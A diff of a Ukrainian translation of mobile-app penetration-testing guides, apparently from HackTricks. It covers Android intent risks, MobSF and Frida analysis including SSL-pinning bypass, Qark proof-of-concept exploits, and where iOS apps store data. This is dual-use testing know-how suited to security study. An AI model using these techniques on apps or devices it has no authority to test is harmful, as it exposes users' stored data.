Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі широкомовлення, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до зловмисних ін'єкцій Намір.
|
||||
|
||||
@ -501,13 +507,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### Ін'єкції на стороні клієнта Android та інші
|
||||
|
||||
Напевно, ви знаєте про цей вид вразливостей з вебу. Вам потрібно бути особливо обережними з цими вразливостями в Android-додатку:
|
||||
Можливо, ви знаєте про цей вид вразливостей з вебу. Вам потрібно бути особливо обережними з цими вразливостями в Android-додатку:
|
||||
|
||||
- **SQL-ін'єкція:** При роботі з динамічними запитами або постачальниками контенту переконайтеся, що ви використовуєте параметризовані запити.
|
||||
- **Ін'єкція JavaScript (XSS):** Переконайтеся, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
- **Включення локальних файлів:** WebViews повинні мати доступ до файлової системи вимкненим (включено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
- **Вічні куки**: У кількох випадках, коли Android-додаток завершує сесію, куки не відкликаються або можуть навіть зберігатися на диску.
|
||||
- [**Безпечний прапор** у куках](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- [**Безпечний прапорець** у куках](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -527,14 +533,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
|
||||
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
|
||||
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **завантажений** замість файлу.
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
|
||||
|
||||
### Допоміжний динамічний аналіз з MobSF
|
||||
|
||||
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). _Примітка: Спочатку потрібно **запустити VM в genymotion** і **потім MobSF.**_\
|
||||
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). _Примітка: Вам потрібно **спочатку запустити VM в genymotion** і **потім MobSF.**_\
|
||||
**Динамічний аналізатор MobSF** може:
|
||||
|
||||
- **Витягувати дані програми** (URL, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
- **Витягувати дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або вам потрібно натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
- Захоплювати **HTTPS трафік**
|
||||
- Використовувати **Frida** для отримання **інформації під час виконання**
|
||||
|
||||
@ -542,7 +548,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
|
||||
|
||||
**Frida**
|
||||
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL pinning**, **виявлення root** і **виявлення дебагера**, а також для **моніторингу цікавих API**.\
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера** та для **моніторингу цікавих API**.\
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
@ -572,21 +578,21 @@ exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**HTTP інструменти**
|
||||
**HTTP tools**
|
||||
|
||||
Коли http трафік захоплений, ви можете побачити непривабливий вигляд захопленого трафіку на "**HTTP(S) Traffic**" внизу або більш привабливий вигляд на зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
|
||||
Коли http-трафік захоплюється, ви можете побачити непривабливий вигляд захопленого трафіку в "**HTTP(S) Traffic**" внизу або більш привабливий вигляд у "**Start HTTPTools**" зеленій кнопці. З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
|
||||
Для цього, _включіть Burp -->_ _вимкніть Intercept --> в MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Коли ви закінчите динамічний аналіз з MobSF, ви можете натиснути на "**Start Web API Fuzzer**", щоб **фузити http запити** та шукати вразливості.
|
||||
Коли ви закінчите динамічний аналіз з MobSF, ви можете натиснути на "**Start Web API Fuzzer**", щоб **фузити http запити** і шукати вразливості.
|
||||
|
||||
> [!TIP]
|
||||
> Після виконання динамічного аналізу з MobSF налаштування проксі можуть бути неправильно сконфігуровані, і ви не зможете їх виправити з GUI. Ви можете виправити налаштування проксі, виконавши:
|
||||
> Після виконання динамічного аналізу з MobSF налаштування проксі можуть бути неправильно налаштовані, і ви не зможете їх виправити з GUI. Ви можете виправити налаштування проксі, виконавши:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Допоміжний динамічний аналіз з Inspeckage
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
Ви можете отримати інструмент з [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Цей інструмент використовує деякі **Hooks**, щоб дати вам знати **що відбувається в додатку** під час виконання **динамічного аналізу**.
|
||||
@ -599,7 +605,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних з безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android-додатків, пов'язаних із безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -609,7 +615,7 @@ qark --java path/to/specific/java/file.java
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Відображає всі витягнуті файли для зручного посилання
|
||||
- Автоматично декомпілює APK файли у формат Java та Smali
|
||||
- Автоматично декомпілює APK файли в Java та Smali формат
|
||||
- Аналізує AndroidManifest.xml на наявність поширених вразливостей та поведінки
|
||||
- Статичний аналіз вихідного коду на наявність поширених вразливостей та поведінки
|
||||
- Інформація про пристрій
|
||||
@ -635,7 +641,7 @@ StaCoAn - це **кросплатформений** інструмент, яки
|
||||
|
||||
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного додатку (файл .apk або .ipa) на додаток StaCoAn, і він створить для вас візуальний та портативний звіт. Ви можете налаштувати параметри та словники для отримання індивідуального досвіду.
|
||||
|
||||
Завантажити [остання версія](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Завантажити [остання версію](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -661,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків та фахівців з безпеки.
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків і фахівців з безпеки.
|
||||
|
||||
Він здатний:
|
||||
|
||||
@ -688,7 +694,7 @@ ProGuard розповсюджується як частина Android SDK і з
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Знайдіть покрокову інструкцію для деобфускації apk на [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Знайдіть покрокову інструкцію для деобфускації apk в [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(З тієї інструкції) Останній раз, коли ми перевіряли, режим роботи Dexguard був:
|
||||
|
||||
@ -704,7 +710,7 @@ ProGuard розповсюджується як частина Android SDK і з
|
||||
|
||||
Ви можете завантажити обфускований APK на їх платформу.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Це інструмент LLM для виявлення потенційних вразливостей безпеки в android додатках та деобфускації коду android додатків. Використовує публічний API Google Gemini.
|
||||
|
||||
|
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Основний Динамічний Аналіз
|
||||
|
||||
Ознайомтеся з динамічним аналізом, який виконує [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Вам потрібно буде переміщатися між різними виглядами та взаємодіяти з ними, але він буде підключати кілька класів, виконуючи інші дії, і підготує звіт, коли ви закінчите.
|
||||
Перегляньте динамічний аналіз, який виконує [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Вам потрібно буде переміщатися між різними виглядами та взаємодіяти з ними, але він буде підключати кілька класів, виконуючи інші дії, і підготує звіт, коли ви закінчите.
|
||||
|
||||
### Перелік Встановлених Додатків
|
||||
|
||||
@ -164,21 +164,21 @@ ios-hooking-with-objection.md
|
||||
|
||||
Структура **IPA файлу** в основному є такою ж, як у **запакованого пакету**. Змінивши його розширення на `.zip`, його можна **розпакувати**, щоб виявити його вміст. У цій структурі **Bundle** представляє повністю упаковану програму, готову до встановлення. Всередині ви знайдете каталог з назвою `<NAME>.app`, який містить ресурси програми.
|
||||
|
||||
- **`Info.plist`**: Цей файл містить специфічні деталі конфігурації програми.
|
||||
- **`_CodeSignature/`**: Цей каталог включає plist файл, що містить підпис, що забезпечує цілісність усіх файлів у пакеті.
|
||||
- **`Info.plist`**: Цей файл містить специфічні конфігураційні деталі програми.
|
||||
- **`_CodeSignature/`**: Цей каталог включає plist файл, який містить підпис, що забезпечує цілісність усіх файлів у бандлі.
|
||||
- **`Assets.car`**: Стиснений архів, що зберігає файли активів, такі як іконки.
|
||||
- **`Frameworks/`**: Ця папка містить рідні бібліотеки програми, які можуть бути у формі файлів `.dylib` або `.framework`.
|
||||
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн використання, для кешування тимчасових даних та для додавання функціональності скасування в вашій програмі на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або пакету.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або бандлу.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Це мовні пакети, які містять ресурси для цих конкретних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується.
|
||||
- **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів через цифрові підписи.
|
||||
- **Управління активами**: Файл `Assets.car` використовує стиснення для ефективного управління графічними активами, що є важливим для оптимізації продуктивності програми та зменшення її загального розміру.
|
||||
- **Frameworks та PlugIns**: Ці каталоги підкреслюють модульність iOS програм, дозволяючи розробникам включати повторно використовувані бібліотеки коду (`Frameworks/`) та розширювати функціональність програми (`PlugIns/`).
|
||||
- **Локалізація**: Структура підтримує кілька мов, полегшуючи глобальне охоплення програми, включаючи ресурси для специфічних мовних пакетів.
|
||||
- **Локалізація**: Структура підтримує кілька мов, полегшуючи глобальний доступ до програми, включаючи ресурси для специфічних мовних пакетів.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** служить основою для iOS програм, інкапсулюючи ключові дані конфігурації у формі **пар ключ-значення**. Цей файл є обов'язковим не лише для програм, але й для розширень програм та фреймворків, що входять до складу. Він структурований у форматі XML або бінарному форматі та містить критичну інформацію, починаючи від дозволів програми до конфігурацій безпеки. Для детального вивчення доступних ключів можна звернутися до [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
**Info.plist** служить основою для iOS програм, інкапсулюючи ключові конфігураційні дані у формі **пар ключ-значення**. Цей файл є обов'язковим не лише для програм, але й для розширень програм та фреймворків, що входять до складу. Він структурований у форматі XML або бінарному форматі та містить критичну інформацію, починаючи від дозволів програми до конфігурацій безпеки. Для детального вивчення доступних ключів можна звернутися до [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Для тих, хто хоче працювати з цим файлом у більш доступному форматі, конвертацію в XML можна здійснити без зусиль за допомогою `plutil` на macOS (доступний нативно на версіях 10.2 і пізніше) або `plistutil` на Linux. Команди для конвертації такі:
|
||||
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Серед безлічі інформації, яку може розкрити файл **Info.plist**, помітні записи включають рядки дозволів додатка (`UsageDescription`), користувацькі URL-схеми (`CFBundleURLTypes`) та конфігурації для App Transport Security (`NSAppTransportSecurity`). Ці записи, разом з іншими, такими як експортовані/імпортовані користувацькі типи документів (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), можна без зусиль знайти, перевіряючи файл або використовуючи просту команду `grep`:
|
||||
Серед безлічі інформації, яку може розкрити файл **Info.plist**, помітні записи включають рядки дозволів додатка (`UsageDescription`), користувацькі схеми URL (`CFBundleURLTypes`) та конфігурації для App Transport Security (`NSAppTransportSecurity`). Ці записи, разом з іншими, такими як експортовані/імпортовані користувацькі типи документів (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), можна без зусиль знайти, перевіряючи файл або використовуючи просту команду `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -204,7 +204,7 @@ $ grep -i <keyword> Info.plist
|
||||
>
|
||||
> Однак обидві папки (папки даних та контейнерів) мають файл **`.com.apple.mobile_container_manager.metadata.plist`**, який пов'язує обидва файли за ключем `MCMetadataIdentifier`.
|
||||
|
||||
Щоб полегшити виявлення каталогу установки додатка, встановленого користувачем, **інструмент objection** надає корисну команду `env`. Ця команда розкриває детальну інформацію про каталог для відповідного додатка. Нижче наведено приклад використання цієї команди:
|
||||
Щоб полегшити виявлення каталогу встановлення додатка, встановленого користувачем, **інструмент objection** надає корисну команду `env`. Ця команда розкриває детальну інформацію про каталог для відповідного додатка. Нижче наведено приклад використання цієї команди:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -224,46 +224,46 @@ find /private/var/containers -name "Progname*"
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
```
|
||||
**Bundle directory:**
|
||||
**Каталог пакету:**
|
||||
|
||||
- **AppName.app**
|
||||
- Це пакет програми, як було показано раніше в IPA, він містить основні дані програми, статичний контент, а також скомпільований бінарний файл програми.
|
||||
- Ця директорія видима для користувачів, але **користувачі не можуть записувати в неї**.
|
||||
- Контент у цій директорії **не резервується**.
|
||||
- Цей каталог видимий для користувачів, але **користувачі не можуть записувати в нього**.
|
||||
- Контент у цьому каталозі **не резервується**.
|
||||
- Вміст цієї папки використовується для **перевірки підпису коду**.
|
||||
|
||||
**Data directory:**
|
||||
**Каталог даних:**
|
||||
|
||||
- **Documents/**
|
||||
- Містить всі дані, створені користувачем. Кінцевий користувач програми ініціює створення цих даних.
|
||||
- Видима для користувачів і **користувачі можуть записувати в неї**.
|
||||
- Контент у цій директорії **резервується**.
|
||||
- Додаток може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||
- Видимий для користувачів і **користувачі можуть записувати в нього**.
|
||||
- Контент у цьому каталозі **резервується**.
|
||||
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Містить всі **файли, які не є специфічними для користувача**, такі як **кеші**, **налаштування**, **куки** та файли конфігурації списку властивостей (plist).
|
||||
- Додатки iOS зазвичай використовують підкаталоги `Application Support` та `Caches`, але додаток може створювати власні підкаталоги.
|
||||
- iOS програми зазвичай використовують підкаталоги `Application Support` та `Caches`, але програма може створювати власні підкаталоги.
|
||||
- **Library/Caches/**
|
||||
- Містить **напівпостійні кешовані файли.**
|
||||
- Невидима для користувачів і **користувачі не можуть записувати в неї**.
|
||||
- Контент у цій директорії **не резервується**.
|
||||
- ОС може автоматично видаляти файли цієї директорії, коли додаток не працює і місця для зберігання недостатньо.
|
||||
- Невидимий для користувачів і **користувачі не можуть записувати в нього**.
|
||||
- Контент у цьому каталозі **не резервується**.
|
||||
- ОС може автоматично видаляти файли цього каталогу, коли програма не працює і місця для зберігання недостатньо.
|
||||
- **Library/Application Support/**
|
||||
- Містить **постійні** **файли**, необхідні для роботи програми.
|
||||
- **Невидима** **для** **користувачів** і користувачі не можуть записувати в неї.
|
||||
- Контент у цій директорії **резервується**.
|
||||
- Додаток може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||
- **Невидимий** **для** **користувачів** і користувачі не можуть записувати в нього.
|
||||
- Контент у цьому каталозі **резервується**.
|
||||
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Використовується для зберігання властивостей, які можуть **зберігатися навіть після перезапуску програми**.
|
||||
- Інформація зберігається, нешифрована, всередині пісочниці програми у файлі plist під назвою \[BUNDLE_ID].plist.
|
||||
- Інформація зберігається, нешифрована, всередині пісочниці програми у файлі plist з назвою \[BUNDLE_ID].plist.
|
||||
- Усі пари ключ/значення, збережені за допомогою `NSUserDefaults`, можна знайти в цьому файлі.
|
||||
- **tmp/**
|
||||
- Використовуйте цю директорію для запису **тимчасових файлів**, які не потрібно зберігати між запусками програми.
|
||||
- Використовуйте цей каталог для запису **тимчасових файлів**, які не потрібно зберігати між запусками програми.
|
||||
- Містить непостійні кешовані файли.
|
||||
- **Невидима** для користувачів.
|
||||
- Контент у цій директорії не резервується.
|
||||
- ОС може автоматично видаляти файли цієї директорії, коли додаток не працює і місця для зберігання недостатньо.
|
||||
- **Невидимий** для користувачів.
|
||||
- Контент у цьому каталозі не резервується.
|
||||
- ОС може автоматично видаляти файли цього каталогу, коли програма не працює і місця для зберігання недостатньо.
|
||||
|
||||
Давайте ближче розглянемо пакет програми iGoat-Swift (.app) у директорії Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Давайте ближче розглянемо каталог пакету програми iGoat-Swift (.app) всередині каталогу пакету (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -277,7 +277,7 @@ Regular 420 None ... LICENSE.txt
|
||||
Regular 420 None ... Sentinel.txt
|
||||
Regular 420 None ... README.txt
|
||||
```
|
||||
### Бінарне реверсування
|
||||
### Binary Reversing
|
||||
|
||||
Всередині папки `<application-name>.app` ви знайдете бінарний файл під назвою `<application-name>`. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструменту **`otool`**:
|
||||
```bash
|
||||
@ -375,9 +375,9 @@ ios-basics.md
|
||||
|
||||
Найпоширеніший спосіб зберігання даних у plist файлах - це використання **NSUserDefaults**. Цей plist файл зберігається всередині пісочниці програми в **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** в **plist** **файлі**, але призначений для використання з невеликою кількістю даних.
|
||||
Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** у **plist** **файлі**, але призначений для використання з невеликою кількістю даних.
|
||||
|
||||
Ці дані більше не можуть бути доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**.
|
||||
Ці дані не можуть бути більше доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**.
|
||||
|
||||
Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` від objection.
|
||||
|
||||
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) - це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як своє постійне сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) - це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як свій постійний сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\
|
||||
CoreData за замовчуванням не шифрує свої дані. Однак, додатковий шар шифрування може бути доданий до CoreData. Дивіться [GitHub Repo](https://github.com/project-imas/encrypted-core-data) для отримання додаткової інформації.
|
||||
|
||||
Ви можете знайти інформацію про SQLite Core Data додатку за шляхом `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
@ -438,7 +438,7 @@ NSLog(@"data stored in core data");
|
||||
|
||||
### Інші бази даних SQLite
|
||||
|
||||
Звичайно, що додатки створюють свої власні бази даних sqlite. Вони можуть **зберігати** **чутливі** **дані** на них і залишати їх незашифрованими. Тому завжди цікаво перевіряти кожну базу даних у каталозі додатків. Тому перейдіть до каталогу додатка, де зберігаються дані (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Звичайно, що програми створюють свої власні бази даних sqlite. Вони можуть **зберігати** **чутливі** **дані** на них і залишати їх незашифрованими. Тому завжди цікаво перевіряти кожну базу даних у каталозі додатків. Тому перейдіть до каталогу програми, де зберігаються дані (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -490,7 +490,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
iOS зберігає куки додатків у **`Library/Cookies/cookies.binarycookies`** всередині папки кожного додатку. Однак, розробники іноді вирішують зберігати їх у **keychain**, оскільки згаданий **файл куків може бути доступний у резервних копіях**.
|
||||
|
||||
Щоб перевірити файл куків, ви можете використовувати [**цей python скрипт**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) або використовувати **`ios cookies get`** з objection.\
|
||||
**Ви також можете використовувати objection, щоб** конвертувати ці файли у формат JSON і перевірити дані.
|
||||
**Ви також можете використовувати objection, щоб** конвертувати ці файли у формат JSON та перевірити дані.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
@ -528,13 +528,13 @@ iOS зберігає куки додатків у **`Library/Cookies/cookies.bin
|
||||
|
||||
### Snapshots
|
||||
|
||||
Коли ви натискаєте кнопку "Додому", iOS **знімає знімок поточного екрану**, щоб забезпечити більш плавний перехід до програми. Однак, якщо на поточному екрані присутні **чутливі** **дані**, вони будуть **збережені** в **зображенні** (яке **зберігається** **після** **перезавантажень**). Це знімки, до яких ви також можете отримати доступ, двічі торкнувшись головного екрану для перемикання між програмами.
|
||||
Коли ви натискаєте кнопку "Додому", iOS **знімає знімок поточного екрану**, щоб забезпечити більш плавний перехід до програми. Однак, якщо на поточному екрані присутні **чутливі** **дані**, вони будуть **збережені** в **зображенні** (яке **зберігається** **після** **перезавантажень**). Це знімки, до яких ви також можете отримати доступ, двічі торкнувшись екрану "Додому", щоб перемикатися між програмами.
|
||||
|
||||
Якщо iPhone не зламаний, **зловмисник** повинен мати **доступ** до **пристрою** **без блокування**, щоб побачити ці знімки екрана. За замовчуванням останній знімок зберігається в пісочниці програми в папці `Library/Caches/Snapshots/` або `Library/SplashBoard/Snapshots` (достовірні комп'ютери не можуть отримати доступ до файлової системи з iOX 7.0).
|
||||
|
||||
Один зі способів запобігти цій небажаній поведінці - це поставити порожній екран або видалити чутливі дані перед зняттям знімка, використовуючи функцію `ApplicationDidEnterBackground()`.
|
||||
Один зі способів запобігти цій поганій поведінці - це поставити чорний екран або видалити чутливі дані перед зйомкою знімка, використовуючи функцію `ApplicationDidEnterBackground()`.
|
||||
|
||||
Нижче наведено приклад методу виправлення, який встановить знімок за замовчуванням.
|
||||
Нижче наведено приклад методу усунення, який встановить знімок за замовчуванням.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -589,7 +589,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
**Рекомендації з безпеки:**
|
||||
|
||||
- Рекомендується вимкнути сторонні клавіатури для підвищення безпеки.
|
||||
